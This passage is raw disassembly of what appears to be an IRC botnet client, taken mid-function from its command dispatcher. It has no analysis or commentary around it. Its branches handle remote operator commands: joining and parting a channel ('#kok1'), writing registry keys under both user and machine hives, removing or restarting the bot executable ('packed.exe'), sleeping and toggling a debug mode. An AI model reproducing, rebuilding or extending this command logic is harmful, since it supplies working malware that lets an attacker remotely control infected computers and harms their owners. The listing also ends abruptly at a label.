		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41EF18
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset aPacked_exe ; "packed.exe"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41EF18
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset aPacked_exe ; "packed.exe"
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aKok1	; "#kok1"
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DE00


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41ED18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED18
		push	offset aKok1	; "#kok1"
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DE00


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aPartS	; "PART	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DE08, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DE08, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DE08, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset aModeS	; "MODE	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
